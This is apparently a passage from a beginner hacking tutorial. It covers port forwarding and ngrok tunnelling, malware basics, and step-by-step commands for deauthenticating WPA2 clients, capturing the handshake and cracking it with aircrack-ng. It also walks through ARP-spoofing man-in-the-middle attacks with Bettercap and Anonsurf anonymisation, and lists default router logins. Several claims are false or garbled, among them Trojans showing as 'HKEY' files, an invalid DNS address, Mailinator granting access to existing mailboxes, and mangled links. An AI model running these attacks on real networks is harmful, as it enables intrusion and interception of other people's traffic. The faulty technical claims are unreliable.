know, however, is that computers are advancing a lot as far as the internet
and everything related to it is concerned. As a lot of careers in the
technological field open up, it may be useful for a person to understand port
forwarding and what it really does.

What is a port?

A port is the logical address of any application or process that a network or
Internet uses to communicate. When two applications send and receive data,
there is an endpoint. This endpoint of the network is referred to as a port.

Types of ports

There are two types of ports.
(1) TCP- TCP or the transmission control protocol is a connection-

oriented protocol. This means that if two devices want to
communicate with each other via TCP, they must send formal
messages to configure the connection before they can transfer any
information. TCP is a reliable protocol considering that when you
send data to another device with TCP, the other device will recognize
the data. This way, both parties can ensure that they have received
the correct information since TCP keeps track of what is sent and in
what order. Anything that is received outside the border on the other
side is something that can be packaged together in its common form.

(2) UDP-User Datagram Protocol is completely different from TCP.
UDP is connectionless, and there is no formal startup process for
establishing communication with the other device. There is no
specific way in which data should flow from one device to the other.
UDP simply sends information without any warning to the other
device. UDP is, as such, considered to be an unreliable protocol.



However, this does not mean that UDP is worse than other protocols
or considering that it works exceptionally well. What does it mean,
however, when one says that there is no confirmation of data being
sent to the other device? Well, the originating station has no idea
whether information comes from another page, and it does not matter
to the applications that use UDP. The stations receiving the data does
not also send any confirmation feedback. Since there is no
confirmation or tracking in UDP, there is no way to reorder or
retransmit the information over the  network.

What is port forwarding?

Port forwarding is also referred to as port mapping in computer networking.
It is the application of a Network Address Translation (NAT) to redirect a
communication request from one address and port number combination to
another while the packets are traversing a network gateway. A network
gateway can be a router or a firewall. Port forwarding is typically used to
make host services on an internal network accessible to an external network.
This is accomplished by remapping the destination IP address and port
number of the communication to the internal host. To understand port
forwarding better, compare it to having a translator for someone who does
not speak English. Port forwarding puts the desired communication into a
form that the external network recognizes and can access.

How does port forwarding work?

Port forwarding on your router makes it possible for you to access a port
number or even a combination of numbers depending on the router being
used, as well as an IP address. After you have entered your desired port
number or numbers, and the IP address, all incoming connections that have
matching port numbers are automatically forwarded to the internal computer
with that IP address. This process ultimately makes it easier to be sure that
any given data and information goes to the intended location.

Port forwarding using router

Port forwarding also known as port mapping is an innovative technique that



allows us to use the IP address from our local host for all external
communication over the World Area Network (WAN). This segment
explains how you can forward your device port using a router.

Determine your gateway IP- The gateway IP can be found on the back of
your router or by typing ifconfig and ipconfig in Linux and Windows
respectively.
Ethernet adapter Ethernet:

   Connection-specific DNS Suffix. :
   Link-local IPv6 Address . . . . . : fe80::9dc3:212c:f8d7:125e%7
   IPv4 Address. . . . . . . . . . . : 192.168.1.7
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1                ☐    This is the Default Gateway on my router.

Ethernet adapter VirtualBox Host-Only Network:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::a946:8d10:a39:24f2%17
   IPv4 Address. . . . . . . . . . . : 192.168.56.1
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Type the IP determined above into the browsers search bar to access the
router setting page.

1 3Com http://192.168.1.1 admin Admin

2 Belkin http://192.168.2.1 admin admin

3 BenQ http://192.168.1.1 admin Admin

4 D-Link http://192.168.0.1 admin Admin

5 Digicom http://192.168.1.254 admin Michelangelo

6 Linksys http://192.168.1.1 admin Admin

7 Netgear http://192.168.0.1 admin password



8 Sitecom http://192.168.0.1 sitecom Admin

9 Asus http://192.168.1.1 admin admin

10 Synology http://192.168.1.1 admin Admin

11 Arris http://192.168.0.1 admin password

12 Apple iphoneIOS4.X http://10.0.1.1 root alpine

13 DELL http://192.168.1.1 admin password

14 Huawei ADSL2+ http://192.168.0.1 admin admin

15 Netcomm http://192.168.1.1 admin password

16 Netstar http://192.168.0.1 admin password

17 SAMSUNG http://192.168.0.1 admin password

18 Sigma http://192.168.0.1 admin admin

19 SUN http://192.168.0.1 admin admin

20 Telco systems http://192.168.0.1 telco telco

21 TENDA http://192.168.0.1 admin admin

22 ZCOM http://192.168.0.1 root admin

23 ZTE http://192.168.0.1 admin Admin

24 Nokia http://192.168.1.1 admin admin

Input your logins to access your router page. Here, you need to input your
most recent username and password. In case you are accessing the page for
the first time or have not changed the login details, you can use the default
login details given by the company. Again, the default username and
password which can be found on the back of your router. You can also check
in the list given above.



It is evident from my router setting page that am using a Nokia router. While
the user interface can be changed based on the company you are using, the
concept remains the same.

Get the forwarding options- These can be accessed by exploring all the
sections or tabs in your router. I specifically used the application tab for my
router, but as you can see from the screenshot, there are seven tabs.



Let’s have a look at each of them.

1.
Application name- This tab is used to specify the application for which we
want to forward the port. Since we don’t require that at the moment, we will
leave it as it is.



2.
WAN port- Here you choose a port for WAN (Wide Area Network). I use
8080 because it is used by websites and applications so it can bypass
firewalls.
 

3. LAN port-This is where we enter the Local Area Network (LAN) port we
want to forward. Again, I used 8080, but you can use the LAN port of your
preference.

4.
Internal client- In this tab, we input the IP address of the device(s) whose
port we want to forward to. The custom setting tab can also be used to choose
the devices. 
 

5. Protocol- Here we select the traffic we will use to accept traffic. You can
choose Transmission Control Protocol (TCP), User Datagram Protocol



(UDP), or both.

6. Enable mapping- You should tick this section if you are adding a new
record for a server. If you are port forwarding for a specific application, there
is no need to mark this section.
 

7.
WAN connection list- Here, you select the WAN connection list. If you only
have one list as in my case, you should consider keeping it default and adding
a new rule.

When everything is done, click on the “Add” button and a new rule will be
added. Every request on our public IP with an 8080 port number will be



forwarded to my local IP.

Port Forwarding Over WAN

We have learned how to forward our local port using a router to access our
local host over Wide Area Network (WAN), but the problem is that everyone
does not have a router at their home. In this section, we are going to forward
our WAN IP using a website.

The website we will use to forward our WAN IP is called ngrok. There are
lots of other website and tools are also available, but for now we will go with
ngrok. We are using ngrok because it comes with two plans. One is free and
the other is paid. We will use the free plan because it will fill our needs.
Follow the given steps to forward WAN IP using ngrok.

To forward a port using ngrok, we need to create an account in ngrok. Go to
www.ngrok.com to create a new account.

Once you log in after creating your account, download the software based on
your operating system. We are using Kali Linux so we will download a Linux
version. 
anon@kali:~/Downloads$ sudo unzip ngrok-stable-linux-amd64.zip

[sudo] password for anon:
Archive:  ngrok-stable-linux-amd64.zip

inflating: ngrok                   

http://www.ngrok.com


anon@kali:~/Downloads$

After Downloading the setup, we need to unzip the file because it is in the zip
format. We can unzip the file using unzip command so we will type “sudo
unzip (File name)” if you are in the directory where the file is downloaded.
If you are not in the directory where the file is downloaded, then you have to
give the path where file is stored.

Example: Sudo (Because we are not a root user. If you are a root user, you
can leave this command) unzip (Command is used to unzip the zip files) file
path (where the file is stored) Filename
anon@kali:~ Sudo unzip /home/anon/Downloads/ngrok-stable-linux-amd64.zip

After unzipping the file, we have to run a command which will add your
authorization token to the default ngrok.yml configuration file. This will
grant you access to more features and longer session times.

Go to the directory where the unzipped file is stored and type the following
command.

. /ngrok authtoken (authtoken Key)
$ ./ngrok authtoken 1jRzeTv3nTmkH5d5do7sxpyRZor_2qengGg33ph35xRyXYLKW

How to get an ngrok auth token?

To get your auth token login to your ngrok account, click on the
authentication tab on left hand corner. Click on “Your Authtoken” in the
authtoken tab.



After going to the authtoken page, just copy the authtoken or you can also
copy the command and past it in the terminal.

After authentication, you will see a message Authtoken saved to
configuration file: /home/anon/.ngrok2/ngrok.yml. If authentication is
failed, try again or restart your PC.



anon@kali: ~/Downloads$ ./ngrok authtoken 1jRzeTv3nTmkH5d5do7sxpyRZor_2qengGs33pz35xRH

Authtoken saved to configuration file: /home/anon/.ngrok2/ngrok.yml

After authentication you can connect your ngrok and use their services. To
connect the ngrok type the following command into your terminal.

$ ngrok (protocol name) (Port number which you want to forward)

Example: ngrok tcp 4444

Now, we can use 0.tcp.ngrok.io as our public IP and 10714 as a port. Every
request on this port will be forwarded to my local port which is 4444.



Trojan, Virus, and Worms

What is a Trojan?

Considered as one of the most popular viruses, the Trojan horse is a highly
infectious program that can severely damage the health of a computer. A
Trojan horse is a flawed computer program that can infect remote computers
either by deleting your important files or by making vital changes. A Trojan
horse can be disguised as legitimate software or file from a reliable source.

After opening it, all your crucial files get infected, and in some cases, you can
lose some vital functionality of your system. A simple way to know that a
system is infected is when you see suspicious files that begin with “HKEY”
for the file name. The best way to combat Trojans is to install a reliable
antivirus program and ensure that it stays updated at all times. This is in
consideration that there are individuals out there who are constantly creating
new Trojan programs to create a mess online.

What is a virus?

A computer virus is a software program that is developed to make a computer
run erratically. These virus programs are often self-duplicating which means
they can produce copies of themselves to spread through your computer or
other computers connected by a network.
They can be completely unnoticeable if a computer antivirus software is not
installed. Most of them can be attached to other programs, especially those
that are downloaded by Internet users. Downloads are one of the most
common ways in which computer viruses find their way into users'
computers, but they are not the only ones.
Viruses can also negatively affect the performance of a computer system,
taking into consideration that they use most of your system resources. One
may not immediately realize that their computer is slowing down as a result
of viruses, but their presence is more than likely to be felt with time.



What is a worm?

A worm is a form of a virus that is attached to a file but is different from a
virus. A worm can replicate itself and spread throughout the computer
without your knowledge. Not only does it spread to all different parts but
files on your computer, but a worm can easily find its  way through emails as
well.
You should keep in mind that the longer a worm stays on your computer, the
greater the damages and interruptions it causes. Luckily, there are lots of
antivirus programs out there that should greatly enhance protection. One
thing, however, that you need to consider is that even if an antivirus improves
protection, it does not guarantee the full defense of the system as a whole.

Trojan Virus Worm

Definition

A Malicious
program that can
be used to control
a victim’s
computer system
from a remote
location.

A self-replicating
program that
attaches itself to
programs and Files.

An illegal
program that
spreads through
a network into
computer
systems.

Purpose

Sensitive Data
theft, spying the
victim's
computer, etc..

Slow computer
system
performance,
Corrupt user Data,
etc.

Install backdoors
on the victim's
computer, Slow
the user
Network, etc.

Counter
Measures

Update patch for the use of antivirus software
Security policy for the use of operating systems
Internet and external storage media, etc.

Countermeasure

There are different sources of Trojans, viruses, and worms with the internet
being the leading source. If you access the internet often or share files with
other people who do, there is a high probability of coming into contact with



computer viruses. That, however, should not be a cause for concern since
there is a myriad of software meant to protect your computer. They come in
free as well as paid versions with their effectiveness and prices varying
depending on the antivirus program you have chosen. Here are several ways
you can protect your computer against virus attacks:

1. Avoid downloading unnecessary files from the internet. This
includes spam attachments, games, and programs that seem to
offer “too good to be true” deals.

2. Install an antivirus program. The program should be updated
regularly to stay at par with the newer versions of Trojans.

3. Scan external storages on a different computer before using
them.

4. Back up vital information on external storage, e.g., a read-only
media such as CDs and DVDs, just in case malware or Trojans
cripple your computer.

5. Update your operating system to reduce infections and virus
replications.

6. Scan attachments before downloading them.



Password attack & cracking

What is a password cracking?

Password cracking is the process that’s used to expose computer passwords.
Cracking a computer password can be done by guessing the password
repeatedly or using an algorithm to generate the password. This process is
usually done for good or bad reasons. If you forget your computer password,
password cracking can help you recover your data. A system administrator
can also do password cracking for non-malicious reasons such as trying to
determine the strength of the passwords used. On the other hand, this process
can be done for malicious reasons e.g. accessing other people’s information
without their consent. Password cracking is related to cybercrimes where a
third party steals other people's confidential information to benefit
themselves.

Best Password Cracking Techniques

There are lots of techniques that are used in password cracking, but, we are
going to look at the best five that are commonly used. We shall also use these
techniques in upcoming practice lessons

1. Social Engineering
Social engineering is the term used for a wide range of malicious activities
carried out through human interactions. Basically, it is the art of
manipulating/tricking the human brain using various hacking tools and
techniques. This is the next step of hacking after footprinting wherein the
hacker tries to get some important information about the target.

2. Phishing
Phishing is also a small part of social engineering. In this attack, the hacker
makes a fake replica of the site or page and sends it to his victim instead of
the real one, and when the victim enters his username and password, the
attacker will get a copy of the data. These attacks are used to hack only those



sites that need any input to login.

3. Rainbow Table Attack
Is probably one of the fastest ways to find a password and hack into
someone’s computer or secured systems. What the hackers do is use a pre-
computed hash table that is already pre-matched to possible passwords. 
Then, the rainbow attack gives hackers the option to reverse the hashing
function and find the correct password. After the hacker gains access to the
password database, they compare hashed passwords against potential plain
text words on the table. 
Common security systems that protect passwords are very ineffective against
a rainbow attack. Using the rainbow attack, a hacker can break a fourteen-
digit password in less than three minutes.

4. Brute Force Attack?
This may be the simplest and easiest way to hack into a computer. The brute
force method of attacking a protected computer means that the hacker
continues trying various combinations of usernames and passwords until they
get the right password.
Alternatively, the hacker may use a bot to get them the power they need to
perform this attack. To carry out a brute force attack, you would need a
supercomputer that can handle millions of combinations every second for an
eight-digit password.
If the password has nine digits, the supercomputer may take a few more
seconds to find the right combination of username and password.

5. Dictionary Attack?
As you may have guessed, the dictionary attack uses words from the
dictionary to help discover the right password for the system under attack.
This is done in a systematic method.
The dictionary attack can as well be used to find the decryption key using the
same methodology. What makes this attack so popular for hackers is that
businesses and individuals use simple names or words as their passwords.
What the dictionary attack cannot do is break multi-word passwords. Nor can



it work against password systems that randomly use upper- and lower-case
letters which are combined with numbers.

WiFi Cracking Using Brute Force Attack

This section goes ahead to crack the wpa2 WiFi network by the use of brute
force. To carry this out, we will capture the handshake. This is the password
of the WiFi in the encrypted format.

We need to make use of a WiFi adapter to undertake this attack. This adapter
has to be built into the laptops, otherwise it will hardly work if you are using
the Kali Linux virtual machine.

You also have the liberty to make use of a live USB drive or even purchase a
separate wireless fidelity adapter.

Follow the given step below to capture the handshake:

1. Open terminal and type “iwconfig”

From the foregoing, you may clearly see that the WiFi is presently in
“manage mode.” We need to set it to “monitor mode” to enable it to scan all
the existing wireless networks in your area.

2. Type airmon-ng start (interface name)



If we choose to go back and type “iwconfig,” we might see that the interface
is now altered to the “wlan0mon” and that the same also now becomes the
monitor.

We now need to scan all the existing WiFi networks in the area and the
targeted mac and the channel numbers.

3.  Type airodump-ng (interface name)



We are now able to behold all the names of the existing wireless networks in
the area along with their bssid, encryption, and channel numbers, among
others.

The term, “bssid,” is the MAC address of the wireless fidelity networks that
exist in the areas concerned. Under each station, we are able to see each
respective network and their corresponding bssids.

At this point, we now have the channel numbers and the bssids of the targeted
networks. We may now go ahead and capture the handshakes.

4. Close the past terminal and open a new one.

You now have to close the past terminal and open a brand new one. Type
“airodump-ng -- bssid (the MAC address of the targeted network), the
channel (the number of the channel) -w capture (the name of the interface)
etc.”
airodump-ng – bssid 18:45:93:79:5D:07 – channel 1 -w capture wlan0mon



The system has now begun skimming a single network. We now need to
commence sending deauthentication packets to the router in order that the
same may get hold of the handshake. Type the given commands to do this.

5. Type aireplay-ng -0 (this is the number of packets you wish to send out) --
bssid (that is the bssid of the targeted router) and close it with the (interface
name).
 e.g. aireplay-ng -0 10  -a 18:45:93:79:5D:09 wlan0mon



Whenever we send out the deauthentication packets to the router, all the
gadgets that are attached to it are automatically disconnected.

Upon sending out all the deauth packets, all of those gadgets will yet again
reconnect automatically. This of course shall usher in another handshake.

Thus, if we get back to the terminals where we started out to monitor the
targeted networks, we are now able to behold the received handshake which
we may further use to crack the password of the wireless fidelity networks by
use of brute force or the dictionary attacks.

Since we did not specify any paths for the files captured, it is stashed in the
root directory with the “.cap” extension.
.

Cracking wifi password using brute force attack

To crack a wifi password, open the terminal and type the following
command:

aircrack-ng (captured file with it’s path) -w (password list with the path)
aircrack-ng home/kali/capture-01.cap -w home/kali/Desktop/password.txt/



As you can see, we found the Wifi password. When doing this yourself, send
ten dauth packets at list fifty times before running a brute force attack,
otherwise aircrack-ng will not try all the password and send you a false
result.

Change monitor mode to manage mode to connect to the WiFi, Type
airodump-ng stop (interface name) to change the adapter’s current mode.

Countermeasure of Password Cracking

To prevent password cracking, your computer password should have at least
twelve characters. However, if you have a good memory, a sixteen-character
password is highly recommended because it is quite hard to crack. Here are
some of the things you need to know about a secure computer password:



i. It should have both lower and upper-case characters. You also need to
include numbers and special characters. This does not mean that every
password should have all the above. A combination of lower-case characters
and numbers should be enough to make your computer quite secure – it all
depends on how secure you want your system to be.
ii. You should avoid using the same password over an extended period. Have
several computers passwords to avoid unauthorized people from accessing
your information.
iii. If possible, generate the passwords randomly.

iv. A good password should not have any user’s elements. This includes
things like birth dates, pet names, social security numbers, address, age, etc.
v. They should not contain a simple combination of words unless these words
are randomly selected
vi. Finally, it is not advisable to write your passwords down unless you can
keep them away from other people, e.g. in a safe. You can use a password
manager software but using a cloud-based password manager is not a good
idea.

Network sniffing & spoofing

What is network sniffing?

Network sniffing monitors the flow of data over different computer lines
using a software tool that is referred to as a network sniffer. This sniffer can
be a closed software package or a hardware device that is governed by the



appropriate software.
As data flows past the sniffer, the tool takes a picture of the data but does not
alter or redirect that data. It is a tool that is also used by hackers to gain vital
information. It is possible for a network sniffer to capture passwords as they
flow by.

What is network spoofing?

The boiled down definition of network spoofing is getting access to computer
data that you have not been authorized to access. To correctly perform
network spoofing, the hacker or unauthorized user needs to assume the
identity of another computer or computer program.
There are different types of spoofing including e-mail spoofing, network
spoofing, and IP spoofing. A hacker who wished to use the spoofing method
must find the identity of a trusted computer or program, assume that identity,
and gain access to private information. Since the spoofed ID is trusted, the
hacker usually has no trouble entering restricted areas.

Top Three Network Sniffing and Spoofing Tools

To get to the best sniffing and spoofing tools, you will have to consider the
type of operating system that you use. Some may be designed specifically for
Windows, others for Linux, and so on.
1. Wireshark- This is a sniffing tool that is compatible with Windows,
Linux, and other operating systems. Its specialty is going deep to monitor the
lower levels of your computer.
You can use it to get live captures and offline analysis that captured data can
be seen on GUI and other devices. It also has very powerful display filters
and supports a variety of protocols including WPA and WPA2. You can read
all about it on this website and download it from there as well.

2. Smartsniff- is a free sniffing tool that captures TCP/IP data flowing over
your computer and lets you see it through simulated conversations. This
sniffer is compatible with Windows 2000/XP or higher.
The only exception is its WinPcapture Driver, which can be used with all
Windows operating systems. One strong feature this sniffing tool comes with
is that it allows you to view the captured data in ASCII mode. An alternative

https://www.hirewriters.com/https://www.wireshark.org/


viewing mode is the hex dump function. Click here to go to their website.
3. Mailinator- This is a spoofing tool that is special in various ways. It
allows you to be anonymous while using it. In addition, you can create a new
e-mail account using its domain.
On top of it all, it gives you access to email accounts that already exist. You
just have to type in the e-mail address and this tool grants you access. You
can use this link to access their website and get all the information you need.

Network Sniffing with Wireshark

In this section, we are going learn how to sniff network using Wireshark.
This tool comes with graphical user interface which make it easy to use.

1. Open Wireshark by going to the applications menu and under
“Sniffing and Spoofing,” click on the Wireshark.

There are two filters on the home screen of Wireshark. The first is the display
filter and the second  is the capture filter. If we run Wireshark as default, it
captures a lot of packets which can make things a bit confusing, so we use
filters to limit our result. The display filter is used to filter traffic after
capturing all the traffic, but if we use a capture filter, then Wireshark captures
the only filter which we specify.

Under capture filter, we have options to capture traffic by the network
interface. If we do not use any filter, then Wireshark will capture all the
traffic by default. Let's capture wlan0 packets without specifying any filter.

http://www.nirsoft.net/utils/smsniff.html
https://www.hirewriters.com/https://mailinator.com/


To run Wireshark, just click on the interface you want to capture packets
from. I’m using wlan0 because I’m connected using a wireless adapter.

We can see every packet has its time, source IP, destination IP, protocol,
length, and info. If we scroll down, we can see it captured more than 1000
packets in a few minutes.



Let
us use a display filter to limit our results. Before applying the filter, we have
to stop Wireshark capturing packets. There is a red square above of display
filter. Click on it to stop Wireshark.

Now,
let’s narrow our result by applying a display filter.

As we can see, I applied a TCP display filter and now I can see only TCP
packets.,

Wireshark Top Filters

1. Protocol Filter



We can use a display filer or capture filter to capture packets from a specific
protocol. Just specify the protocol you want to capture packets from the filter.

Now, we can see only HTTP packets.

2. Port Filter

We can use a port filter to filter packets from specific port numbers. First, we
have specified a protocol, then .port to tell Wireshark that you want to filter
packets from a specific port number, and then == (port number).i.g. tcp.port
== 80

3. IP Address Filter

We can use the IP address filter to filter packets from a specific IP address.
This can be very helpful if we have a target and we want to monitor traffic.
Just type ip.addr == (ip address) to see packets associated with the IP
address.



Now, we can see only packets from a specific IP address.

4. Source and Destination Filter

We can also filter packets from a certain source IP and destination IP address.
Use Ip.scr == (ip address) to filter packets from a source IP and use ip.dst
== (ip address) to filter packets from a destination IP address.

5. Multiple Protocol Display Filter

If we want to filter packets from multiple protocols, then we can use or
syntax. Type (first protocol) or (second protocol) to filter traffic form
multiple protocols



Now we can see packets from only two protocols TCP and HTTP.

6. Removing Unwanted Packets

When we work with Wireshark for a long time, it captures a lot of packets, so
to make things simple first, we have to remove the unwanted packets from
the data. We can use !(first protocol or second protocol or third protocol )
to remove unwanted packets.

7. TCP, HTTP stream

We can use a TCP stream filter to follow a single TCP connection. Select the
source you want to see TCP stream, right-click on it and under follow click
on the TCP stream.



It will one the content inside that stream, but if we close the popup, we can
the packets from the TCP stream.

8. Contains Filter

If we are looking for usernames and passwords, then we can use a contains
filter. With this, we can filter packets that contain the words we specify. First,
we have to specify the protocol, then contains, and then a word from which
you want to filter the result.



As we can see, there are only three packets which Wireshark filtered, and
each contain the keyword named.

Wireshake have a lot of filters. Take time to explore them. In the next
section, we are going to learn how to perform men in the middle attack using
a tool called Bettercap.

ARP Spoofing Using Bettercap.

In this section, we are going to perform ARP poisoning also known as a men
in the middle attack using Bettercap. Bettercap is an APR poisoning tool used
for network security and to perform men in the middle attack. Follow the
given steps below to perform the attack.

ARP Spoofing (Man in The Middle Attack)

ARP is short for Address Resolution Protocol and ARP spoofing is where a
hacker or any other unauthorized person sends false ARP messages to your
computer or network.



There is usually a link between the hacker’s MAC address and a legitimate IP
address. Once this connection is made, the hacker receives any information
sent to the legitimate IP address.
The good news is that this type of spoofing can only occur on local networks
that use ARP. A hacker’s reasons for using this spoofing method vary and
may include stopping data, altering it, or  interception of key messages.
What is MITM (Man In the middle) attack?

Man in the middle or MITM attacks take place when a hacker successfully
intercepts your communication systems and monitors all communications
between a company and its clients.
Once inside this network, the hackers can intercept communications and
reroute the transaction request to their own accounts. No internet
communication is safe as the MITM attacks can access e-mails, social media
conversations and a lot more.
They can also get between you and the online shopping sites you like to
frequent and capture all your login details and other information. WiFi
connections are a favoured target for hackers using MITM style attacks.
The good news here is that there are a variety of countermeasures you can
implement to stop this kind of attack before it happens
Men in The Middle Attack Practical

Having completely understood what the ARP spoofing is and how it works,
let us now implement it. This, we are going to do in this section. We shall
also learn how to carry out the “men in the middle attack.”

The tool we are going to carry this out is the Bettercap.

Following the steps laid down here will let us execute the MIMT effectively.

1. Set up the Bettercap

Our first step is to set up the Bettercap. It does not come pre-installed in the
Kali Linux and requires that we do it manually. We do this by typing “apt
install bettercap” in the terminal.



2. Run the Bettercap

After installing it, we now run it. To do this, we type “bettercap –iface.”
(name of the network adapter)

3. Type “help”

You need to access a list of all the commands and the modules that are
available. For this to happen, you have to type “help.” Upon typing it, we
can now see all the modules especially after running them on the
“net.probe” module.



4. Turn on the net.probe module
We now need to turn on the “net.probe.” In order to execute this, we type the module’s name and then
click “on.”

The exact same procedure is followed to turn off the module, this time by typing “off” rather than “on”
after typing the module’s name. Upon turning the “net.probe module” on, the net.rocon automatically
turns on.



5. Activate the “arp.spoof” and specify its parameters

Before you activate the “arp.spoof,” you have to specify a few parameters.
Typing “help” and the name of the module lets you  into complete
information about the modules and their associated parameters.

At this stage, we have to empower the parapets, arp.spoof.fullduplex and
arp.spoof.targets. In case, we do not activate the arp.spoof.fullduplex service.
We will only spoof the targets and notify them that you are the router.

We do not want that to happen at all. For that course, we now have to pretend
that we are the client rather than the router.

Activate the ARP spoof fullduplex service by typing the set
arp.spoof.fullduplex true and then hitting the “enter” button. In case we run
the arp.spoof without having defined any targets then the Bettercap will
execute the ARP spoof attacks to every client that is attached to the network.

In case we run the arp.spoof without having defined any targets, then the
Bettercap will execute the ARP spoof attacks to every client that is attached
to the network. To define target type, set arp.spoof.targets (target IP
address).

We have already covered the wireless fidelity hacking in the section that talks
about how to get the IP and MAC address of the clients connected to the
same network. This Bettercap may also be used to check the client on the
same network. Simply type net.show and then hit “enter.”

At this stage, I am not defining any specific targets given that there is only
one target that is connected to the WiFi network. Now, turn on the arp.spoof
service by typing arp.spoof on.



Now, I activate the arp.spoof service by keying in the arp.spoof. As soon as
this is done, the ARP spoofing starts and gives us a peek into the net.sniff
module also. We finish off by turning net.sniff on to activate the module.

Staying Anonymous Online

Many people do not believe in online anonymity, mainly because it
associated with the ability to promote and encourage unwanted behaviour. If
this is true, we should ask ourselves: is it worth sacrificing the privacy of
many people to prevent some people from staying anonymous? This is a
difficult question, but probably not depending on how you view it.



Many examples explain the need for online anonymity, and we do not even
talk about the inconvenience (e.g., "certain websites annoy me") or the theory
("I deserve privacy"). In this chapter, you will learn how to keep your identity
and privacy anonymous to protect yourself. There are several ways to stay
anonymous online, and we will learn each one of them step by step

DNS (Domain Name System)

Before understanding anything about VPNs and proxy, you need to
understand what a DNS is, how it works, and why it’s important.

What is DNS?

DNS stands for Domain Name System. You could think of DNS as a phone
book on the internet. When we access things on the internet, we do so via
domain names. Domain names are web addresses such as NBC.com or
nytimes.com

When trying to access information online, web browsers interact using IP
addresses. The DNS converts domain names into IP addresses so that the
browser can load them.
If not for DNS servers, we would have to memorize or note down IP
addresses for everything we wanted to find on the internet. On a web
browser, the DNS lookup process is carried out without human interaction or
knowledge. It is an automatic process.

Why DNS in important?

If you do not change the DNS configuration, then you will use the default
DNS provided by your ISP which means that your traffic can be registered
and be identified in your country. That’s why it’s vital to change the DNS
using a reputable and reliable source that does not register your request and
guarantees anonymity.
Open terminal and types:
cat /etc/resolv.conf



So, here you can see that my service name is 192.168.0.1 and my entire
network will be routed through this DNS. By using a proxy, however, you
can direct your traffic to another country. For example, you could be in
France, but using a proxy from Germany. In such a case, it will seem like you
are based in Germany, but when they check the DNS, it will still be located in
France. That way, someone will easily get to the conclusion that you are in
France which defeats the purpose of having to use a proxy. For this reason,
you have to change the DNS to look like you are in a different place.

How to change DNS?

Changing the DNS is quite simple. All you need to do is follow the steps
given below:
Open terminal and type this following command:
nano /etc/dhcp/dhclient.conf



Here, you can see before the text, there are # symbols which mean they are
commented and not active. The System will ignore those commands until we
remove the hash symbol, but we do not need to change anything here, so
scroll down.

We do, however, need to make changes to the prepend domain-name service,
so remove the hash symbol and change the DNS number. I am using an open
DNS which is what you should do for practice.



Here, you can see that I’m using two DNS, 208.67.222.222 and
288.67.220.220. All you need to do to use two DNS is put a comma after
writing the first DNS number and then typing the other one as shown in the
screenshot.
After this, hit Ctrl + O and then hit enter after then hit Ctrl + X to exit.

After that, you will have we have to restart your service network manager. To
do so, type the following command:
Service network-manager restart

That way, you will have successfully changed your DNS and restarted the
network manager. The next step should be to verify that everything is okay.
To do so, consider using the command: cat /etc/resolv.conf



As you can see, we are using three DNS. You can be 99% sure that all your
traffic will be routed through the first DNS. If it fails to work, then the traffic
will be routed through the second DNS. That should mean that you are an
anonymous internet user.
In the next chapter, we are going to learn how to connect our device with tor
proxies for complete anonymity.

Tor proxy

What is a proxy?
Every time we connect with someone online or visit a website, the computer
we use is sharing its “address” or Internet Protocol (IP) with that other person
or site. This is the address through which people can reach you and
communicate. It’s what connects you to the online world. An IP address can
reveal a lot of information about you such as your city, country, internet
service provider, server, etc. However, depending on the destination, they can
gather much more sensitive information, such as your operating system, web
browser, and browsing history. A proxy server allows you to navigate online
using a different or substitute IP address. Usually, your information gets sent
from your computer to your service provider and then to your destination, but
a proxy adds an additional step where your IP address is masked before being
delivered to the destination. Proxies are very easy to find with a simple web
search and require a small amount of research to implement correctly but are
very accessible for an average home web user.

How does proxy work?
A proxy server acts as a doorway between you and the internet. It is an
intermediary server separating users from the websites they browse.



Proxy servers also act as a firewall and a web filter. They provide a shared
network connection as well as cache data to speed up common requests.
When you are using a proxy server, internet traffic flows through the proxy to
the address you input. That request will then come back through the proxy
server. Then, that proxy server will forward the website information to you.
It may seem simpler to just go to your desired website directly, but modern
proxy servers do much more than pass along data. Proxies provide a type of
security and can play a huge role in your online privacy. Any worthwhile
proxy server protects you and your computer from almost every malicious
item in the cyber world.

How can a proxy help us to stay anonymous?
Lots of sensitive information is tied to your IP address. In many cases, your
IP address can reveal your location down to the street level. Proxies can mask
that location data, giving you privacy. Proxies also hide other sensitive
information such as the operating system and browsing history that can be
used to manipulate your browsing experience. Using this information, you
can be targeted and shown biased advertisements or information. By
withholding this information, your web anonymity is enhanced. Proxies can
also modify or falsify information, allowing you to change what information
the receiving entity sees about you. The most common use for this is to
change your disclosed location to access content outside of your country that
would otherwise be inaccessible. You are also able to hide additional
information about you, providing anonymity. Some proxies can, however,
disclose to websites that you’re masking your IP address which may prevent
you from access to information. High-level anonymous proxy sites do not
disclose that the user is using a proxy server. That way, you can have all your
information protected without the destination website being aware that you
are using a proxy.
Practical Session
We are going to use the Anonsurf tool in Kali Linux for tor proxy. With this
tool, we can connect our system using a proxy very easily.
We need to install a repository named Anonsurf, so follow the steps given
below



1. Open Mozilla and search Anonsurf GitHub then hit enter
2. Open the top of the result, and you will enter on this page as

shown in the screen short copy the URL

3. Reopen the terminal and type git clone and paste the URL to
download

Git clone https://github.com/Und3rf10w/kali-anonsurf

I already downloaded this tool so it’s showing that Anonsurf already exists.
In your case, it should download without any problem.

4. Type cd kali –anonsurf/ to enter on the kali –anonsurf directory



5. Type ls.

6. We need to run the installer.sh, so type this command.
./installer.sh

From the screenshot above, you can see that the installation has started and
will take a few seconds to complete.



The screen should then display the above information to let you know that the
installation is complete and that you can run this tool.
You can just exit the screen and go to the home directory.

7. Type anonsurf --help to see the options that this tool provides.
Anonsurf --help

As you can see, you should use the “start” command to start the tool, "stop”
for stopping, “restart” to stop and start the tool, "change" for changing the
identity, “status” to confirm that Anonsurf is working properly, and “myip”
to view the current IP address. So, let’s go ahead and start this tool:



8. To do so, all you need to do is type anonsurf start.

You should see similar information on your screen, notifying you that
Anonsurf has started. Next, you want to check whether the tool is working
fine

9. Type anonsurf status



Your window should look similar to what we have in the screenshot above.
Once you are sure that everything is working fine, you should go ahead and
view your IP information to verify that you are completely anonymous.

10. Type anonsurfmyipto see the current IP
address.



As you can see, my IP is 178.217.187.39. Let’s see which country this IP
address seems to be originating from.
To do so, all you need to do is open your web browser and type DNS leaks in
DuckDuckGo, and then have a look at the region.

As you can see, it seems as though I was browsing from Norway, but that’s
far from the truth. You can use this site also to detect any DNS leaks as that
may bring an end to your anonymity.
Bonus tip: Consider restarting the Anonsurf tool after every few minutes for
complete undetectable anonymity.

